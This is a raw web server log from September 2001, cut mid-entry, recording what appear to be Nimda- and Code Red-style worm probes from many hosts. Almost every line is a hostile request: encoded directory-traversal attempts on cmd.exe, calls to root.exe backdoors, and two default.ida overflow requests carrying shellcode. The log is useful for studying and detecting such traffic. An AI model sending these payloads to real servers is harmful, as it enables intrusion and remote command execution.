/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:05:47: [128.134.65.1] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:06:10: [128.134.65.1] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:06:32: [128.134.65.1] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:06:55: [128.134.65.1] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:07:17: [128.134.65.1] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:07:43: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 09:13:31: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 09:13:31: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:13:31: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:13:31: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:13:32: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:13:33: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:13:33: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:13:33: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:13:33: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:13:33: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:13:34: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:13:34: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:13:34: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:13:34: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:13:34: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:13:34: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 09:16:15: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 09:16:33: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:16:51: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:17:10: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:17:28: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 09:17:28: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:17:46: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 09:17:47: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:18:05: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:18:05: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:18:23: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:18:23: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:18:42: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:18:42: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:19:00: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:19:00: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:19:18: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:19:18: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:19:37: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:19:37: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:19:55: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:19:55: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:20:13: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:20:13: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:20:32: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:20:32: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:20:50: [195.55.131.2] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 09:24:07: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 09:27:17: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 09:46:17: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 09:46:17: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:46:17: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:46:17: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:46:17: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:46:18: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:46:18: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:46:18: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:46:18: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:46:20: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:46:23: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:46:26: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:46:26: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:46:26: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:46:27: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:46:27: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 09:53:32: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 09:53:51: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:54:09: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:54:27: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:54:46: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:55:04: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:55:23: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:55:41: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:55:59: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:56:18: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:56:36: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:56:54: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:57:13: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 09:57:31: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:57:50: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 09:58:08: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:58:26: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:58:44: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:59:03: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:59:21: [128.163.77.45] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 09:59:40: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:59:58: [128.163.77.45] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 10:00:16: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:00:35: [128.163.77.45] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:00:53: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:01:11: [128.163.77.45] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:01:30: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:01:48: [128.163.77.45] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:02:07: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:02:25: [128.163.77.45] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:02:43: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:03:02: [128.163.77.45] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:03:20: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:03:38: [128.163.77.45] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:03:57: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:04:15: [128.163.77.45] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:04:34: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:04:53: [128.163.77.45] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:05:11: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:05:29: [128.163.77.45] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:05:48: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:06:06: [128.163.77.45] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:06:24: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:06:43: [128.163.77.45] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:07:01: [128.163.77.45] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:07:19: [128.163.77.45] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:07:38: [128.163.77.45] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:07:56: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 10:08:38: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 10:08:57: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:09:15: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:09:34: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:09:52: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:10:10: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:10:28: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:10:47: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:11:05: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:11:23: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:11:42: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:12:00: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:12:18: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:12:36: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:12:55: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:13:13: ivr4-6120.uc.fsu.edu [128.186.179.120] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 10:20:28: ivr4-6120.uc.fsu.edu [128.186.179.120] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 10:20:28: ivr4-6120.uc.fsu.edu [128.186.179.120] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:20:28: ivr4-6120.uc.fsu.edu [128.186.179.120] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:20:31: ivr4-6120.uc.fsu.edu [128.186.179.120] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:20:35: ivr4-6120.uc.fsu.edu [128.186.179.120] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:20:38: ivr4-6120.uc.fsu.edu [128.186.179.120] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:20:41: ivr4-6120.uc.fsu.edu [128.186.179.120] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:20:45: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 10:26:23: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 10:26:42: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:27:00: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:27:19: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:27:37: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:27:56: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:28:14: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:28:33: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:28:51: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:29:10: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:29:28: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:29:46: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:30:05: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:30:23: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:30:42: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:31:00: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 10:37:17: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 10:37:17: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:37:17: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:37:17: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:37:18: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:37:18: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:37:21: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:37:21: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:37:21: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:37:21: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:37:22: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:37:22: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:37:22: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:37:22: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:37:22: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:37:23: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 10:39:48: acquaro2.tc.columbia.edu [128.59.92.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 10:39:48: acquaro2.tc.columbia.edu [128.59.92.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:39:48: acquaro2.tc.columbia.edu [128.59.92.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:39:48: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:39:48: acquaro2.tc.columbia.edu [128.59.92.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:39:48: acquaro2.tc.columbia.edu [128.59.92.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:39:48: acquaro2.tc.columbia.edu [128.59.92.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:39:48: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:39:49: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:39:49: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:39:49: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:39:50: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:39:51: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:39:51: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:39:51: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:39:52: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 10:51:04: acquaro2.tc.columbia.edu [128.59.92.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 10:51:04: acquaro2.tc.columbia.edu [128.59.92.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:51:04: acquaro2.tc.columbia.edu [128.59.92.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:51:05: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:51:05: acquaro2.tc.columbia.edu [128.59.92.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:51:05: acquaro2.tc.columbia.edu [128.59.92.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:51:05: acquaro2.tc.columbia.edu [128.59.92.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:51:05: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:51:05: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:51:05: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:51:05: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:51:05: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:51:06: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:51:06: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 10:51:08: 